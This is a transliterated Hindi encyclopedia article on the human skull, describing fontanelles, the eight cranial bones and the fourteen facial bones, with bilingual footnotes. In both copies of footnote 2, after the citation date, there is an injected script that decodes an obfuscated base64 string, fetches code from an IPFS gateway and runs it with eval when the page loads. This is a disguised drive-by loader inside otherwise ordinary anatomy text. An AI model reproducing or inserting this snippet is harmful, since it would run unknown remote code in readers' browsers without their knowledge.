कपाल

kapal ya 'khop di' ka ashay un asthiyoan se hai, jo sir tatha chahare ko akriti pradan karati haian. manav kapal asthiyoan se bana hua hai. yah guanbaj ke saman ubhara hua kuchh chapata, gol tatha aande ke akar ka hota hai. nichale jab de^[1] ko chho dakar, jo keval tantuoan dvara ju da rahata hai, kapal ki sabhi asthiyaan praudhavastha mean apas mean poornaroopen ju di rahati haian. kapal ke sabhi jo d achal hote haian. isaki asthiyoan ke tuk doan ke kinare are ke daantoan ki bhaanti hote haian. ek asthi doosari asthi ke khaanche mean poorn roop se sansakt hoti hai. is prakar inamean kisi prakar ki sapeksh gati nahian hoti. kapal mean anek gaddhe tatha chhidr hote haian tatha unamean sanbandhit maansapeshiyaan aur snayu rahati hai. nasika guha mean shvas tatha gandh sanbandhi sansthan rahata hai. mukh mean svad tatha bhojan ki pachan kriya aranbh hoti hai. shankhasthi mean santulan tatha shravan sansthan sthit rahata hai.

sanrachana

manav sharir asthipanjar ka bana hua hai. asthi ke oopar maansapeshi tatha tvacha ka avaran rahata hai. asthipanjar sharir ko akriti pradan karata tatha pushti deta hai; isake atirikt sharir ke komal aangoan, jaise- mastishk, phuphphus, yakrit, pliha adi ko surakshit rakhata hai. maansapeshiyaan bhi inhian asthiyoan ke sahare ek-doosare se sanbandhit rahati haian. navajat shishuoan mean kapal ki asthiyaan poorn roop se sanyukt nahian hotian. phalat: kapal mean khali sthan hote haian, jinhean ham tvacha ko chhookar jnat kar sakate haian. parantu b de hone par asthiyaan badhakar in rikt sthanoan ko dhak leti haian. janm ke samay kapal sharir ke anupat mean b da hota hai. chehara kapal ke anupat mean chhota hota hai. jaise-jaise ayu badhati jati hai, chehara b da hota jata hai tatha kapal aur sharir ka anupat bhi thik hota jata hai.^[2]

kapal ke oopari golardh par, janm ke samay asthiyoan ka poorn roop se nirman n hone ke karan, rikt sthanoan par k de bandhak tantu rahate haian. in asthiyoan ke sire par are ki bhaanti daante upasthit nahian rahate. kuchh sthanoan par rikt sthan adhik b de hote haian, jinhean 'f aauntanel'^[3] kahate haian. ye parshvikasthi^[4] ke charoan siroan par pae jate haian. inamean sabase b da age ka ph aauntanel hota hai, jo vargakar hota hai. yah lalatasthi tatha parshvikasthi ke bich mean rahata hai. yah lagabhag 18 mas ki ayu mean band ho jata hai. pichhe ka ph aauntanel trikonakar hota hai, jo parshvasthi tatha pichhe ki asthi ke bich mean sthit rahata hai. yah 16 mas ki ayu mean band ho jata hai. is prakar janm se lekar praudhavastha tak kapal ki asthiyoan ke akar prakar mean parivartan hote rahate haian. parinamasvaroop in asthiyoan se tatha daantoan se ayu ka pata lagane mean bahut kuchh sahayata mil sakati hai, jaise-

pratham varsh ki ayu ke pashchath age ke f aauntanel ko chho dakar sabhi rikt sthan band ho jate haian. shankhasth ke charoan bhag apas mean ju d jate haian tatha niche ke jab de ki asthi ke donoan bhag bhi apas mean ju d jate haian.
isi prakar 20 varsh ki ayu ke pashchath‌ kapal ki sabhi sivaniyaan^[5] adrishy ho jati haian.
kapal se liang ka jnan bhi ho sakata hai. nari ka sanpoorn kapal aur usaki alag-alag asthiyaan bhi purush ke kapal ki apeksha chhoti hoti haian. paratu, phir bhi kapal ki asthiyoan dvara liang ka nirdharan kathin kary hai.^[2]

vargikaran

kapal ki asthiyoan ko do bhagoan mean vibhajit kar sakate haian-

mastishk ka dibba
chehare ko banane vali asthiyaan

mastishk ka dibba

yah chapati asthiyoan ka bana hua rahata hai. ath asthiyaan apas mean ju dakar ek baks banati haian, jisake bhitar sharir ka sabase mahatvapoorn aang mastishk surakshit rahata hai. asthiyoan ka vivaran is prakar hai-

lalatasthi

samane ki asthi ko lalatasthi kahate haian. yah akeli ek asthi hai. isi asthi ke dvara manav lalat^[6] ya mastishk banata hai. janm ke samay yah asthi lalat sivani dvara do bhagoan mean vibhakt rahati hai. pratham varsh ki ayu mean yah jo d vilin hone lagata hai aur sat varsh ki ayu tak poornat: vilin ho jata hai. yah jo d ajivan rah bhi sakata hai.

parshvikasthi

lalatasthi ke pichhe kapal ki chhat mean do asthiyaan hoti haian, jinhean parshvikasthiyaan kahate haian. ye asthiyaan kapal ki chhat mean agal-bagal, ek baee aur tatha doosari dahini or sthit rahati haian. bich mean milakar ye kapal ki chhat banati haian. sir ke akar ke anusar ye asthiyaan kuchh golakar lie mu di rahati haian. is asthi ke char kinare hote haian.

shankhasthi

do asthiyoan dvara kanapati ka bhag bana hua hai. in asthiyoan ko ham kanapati ki asthiyaan ya shankhasthi kahate haian. karn ke donoan or ke chhidr inhian asthiyoan mean hote haian. donoan or ki in asthiyoan mean ek patali nali hoti hai, jise 'karnanali' kahate haian. yah madhyakarn tak jati hai. karn ke chhidr ke pichhe yah asthi kuchh age ki or nikali rahati hai, jisamean niche ke jab de ke donoan or ke sire hilane-dulane vale jo doan se ju de rahate haian. is asthi ke bhitari bhag se kuchh trikon ke akar ki asthi uthi rahati hai, jisake karan karn ka aantarik bhag surakshit rahata hai.

anukapalasthi

kapal ka pichhala bhag anukapalasthi dvara bana hua hai. kapal ke pichhe ke bhag mean sthit hone ke karan ise khop di ke pichhe ki asthi bhi kahate haian. anukapalasthi oopar ki or donoan parshvikasthiyoan se ju di rahati hai. isake niche ki or ek mahachhidr hota hai. is chhidr dvara sushumna nikalakar merudand ki nali mean jati haian, mahachhidr ke donoan or do kiloan ki bhaanti asthiyaan nikali rahati haian, jinhean kaandils^[7] kahate haian. anukapalasthi ke kaandil merudand par is khoobi se rakhe rahate haian ki manushy apane sir ko asani se age jhuka sakata hai. is asthi ka bich ka bhag spanj ke saman hota hai. isaki motaee sarvatr ek-si nahian hoti; ubh de hue sthanoan par tatha poorviy adharit bhag par sabase moti hoti haian, nichale bhag par sabase patali hoti hai aur yahaan par paradarshak bhi ho sakati hai.

jatookasthi

is asthi ka akar titali ki bhaanti hota hai. is asthi mean madhy ka bhag (sharir) aur do pankh (chhote tatha b de) hote haian. ye pankh sharir ke donoan parshvoan mean hote haian. yah asthi kapal ke nichale tatha agal-bagal ke bhag ka nirman karati hai. yah asthi kapal ki anek asthiyoan se ju di rahati hai.

jharjharasthi

is asthi mean anek chhidr hote haian. in chhidroan dvara snayu sootr nikalakar nasika mean pravesh karate haian. yah asthi nasika ki chhat tatha nak ke gaddhoan ki divar ka kuchh bhag banati hai. yah asthi jatookasthi se ju di rahati hai.^[2]

chehare ki asthiyaan

chehare mean kul 14 asthiyaan hoti haian. inhian 14 asthiyoan se milakar chehara banata hai. kapal ki asthiyoan ke jo doan ki bhaanti chehare ki asthiyoan ka jo d bhi pray: sthir tatha achal hota hai. keval nichale jab de ke jo d chal ya hilane-dulane vale hote haian. chehare ki asthiyoan ka vivaran nimnaankit hai-

niche ke jab de ki asthi

yah ginati mean ek hoti hai. yah asthi chibuk banati hai. isake oopari kinaroan mean 16 daantoan ke lie gaddhe hote haian. yah chehare ki sabase pusht asthi hoti hai. kapal ki sabhi asthiyoan mean keval niche ke jab de ki sandhi hi chal sandhi banati hai. isi karan jab da oopar niche aur idhar-udhar ghoom sakata hai. manushy apana bhojan sugamataparvook is chal sandhi ke karan hi chaba sakata hai. is sandhi ka nirman bhroon mean dedh mas ke lagabhag aranbh hota hai. janm ke samay yah asthi do bhagoan mean vibhakt rahati hai aur chibuk ke pas sautrikatantu^[8] dvara ju di rahati hai. pratham varsh ki samapti ke bad is asthi ke donoan bhag apas mean poorn roop se ju d jate haian. yuvavastha mean asthi sharir ke oopar tatha niche ke kinaroan ke madhy mean 'manasik chhidr'^[9] rahata hai. bachchoan mean yah chhidr oopar ke kinare ki apeksha niche ke kinare ke adhik samip rahata hai. vriddhavastha mean daantoan ke gir jane par koshagat upaant^[10] ka shoshan ho jata hai; phalat: manasik chhidr niche ke kinare ki apeksha oopar ke kinare ke adhik samip ho jata hai.^[2]

oopar ke jab de ki asthiyaan

ye ginati mean do hoti haian. ye asthiyaan muanh ki chhat ka kuchh bhag banane mean sahayak hoti haian. pratyek asthi ke nichale bhag mean 16 gaddhe hote haian, jinamean daant phanse rahate haian. ye chehare ki mukhy asthiyaan haian. in asthiyoan se kapolasthi vivar banata hai. yuvavastha mean isaki ooanchaee 3.5 seantimitar, chau daee 2.5 sean.mi. tatha gaharaee 3.0 seantimitar hoti hai. yah vivar bhroon mean chauthe mas mean banana aranbh hota hai tatha janm ke samay yah bahut chhota rahata hai. pratham dantottpatti ke samay yah kuchh badhata hai, parantu dvitiy dantotpatti ke samay mukhy roop se badhata hai.

nasika ki asthiyaan

ye asthiyaan ginati mean do hoti haian. ye asthiyaan bich mean milakar donoan nathunoan ki bahari divar banati haian. oopar ki or ye lalatasthi^[11] se tatha parshv mean jab de ki asthi se sanyukt rahati haian. niche ki or ye nasika ki upasthi^[12] se ju di rahati hai. isaki bahari satah par ek chhidr hota hai, jisamean se ek shira nikalati hai. isaki bhitari satah par ek lanbi prasita^[13] hoti hai, jisamean se poorvajharjhar rakt vahiniyaan tatha na di nikalati hai. nasika ki asthi ka nirman bhroonavastha mean tisare mas se praranbh hota hai.

kapolasthiyaan

ye ginati mean do hoti haian. chehare mean ye galoan ke ubhare hue bhag banati haian. ye vastav mean svatantr asthiyaan nahian haian. ye oopar ke jab de ki asthi urdhvahanvasthi ke pravardhan matr haian.

mridu asthiyaan

ye ginati mean do hoti haian. ye asthiyaan nak ke bhitar hoti haian. inaki akriti sipi ki bhaanti hoti hai aur ye spanj ke saman komal hoti haian. in asthiyoan par gulabi rang ki shleshmik kala chadhi rahati hai.

ashru asthiyaan

ye ginati mean do hoti haian. ye asthiyaan netrakotar ki bhitari divar mean nasika ki or lagi rahati haian. inamean chhidr hota hai. inhian chhidroan dvara ashru netr se nasika mean chala jata hai. yah asthi pichhe ki or jharjharasthi se tatha age ki or jab de ki asthi se sanyukt rahati hai. is asthi ka nirman bhroon mean 12 vean saptah ke lagabhag praranbh hota hai.^[2]

nasika ke parde ki asthi

yah keval ek hoti hai aur donoan nathunoan ke bich mean sthit rahati hai. isi asthi dvara manav nasika do nathanoan mean vibhakt rahati hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ maiandibal, mandible
↑ ^2.0 ^2.1 ^2.2 ^2.3 ^2.4 kapal (hindi) bharatakhoj. abhigaman tithi: 04 agast, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ Fontanell
↑ pairiyal bon Parietal bone
↑ taanke
↑ matha
↑ Condyles
↑ Fibrous tissue
↑ Mental formen
↑ Alvelar margin
↑ fantal bon, frontal bone
↑ kartilej, cartilage
↑ groov, groove

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] , mandible

[aa-2] 2.0 ^2.1 ^2.2 ^2.3 ^2.4 kapal (hindi) bharatakhoj. abhigaman tithi: 04 agast, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[3] Fontanell

[4] riyal bon Parietal bone

[5] taanke

[6] tha

[7] Condyles

[8] Fibrous tissue

[9] Mental formen

[10] Alvelar margin

[11] tal bon, frontal bone

[12] rtilej, cartilage

[13] roov, groove

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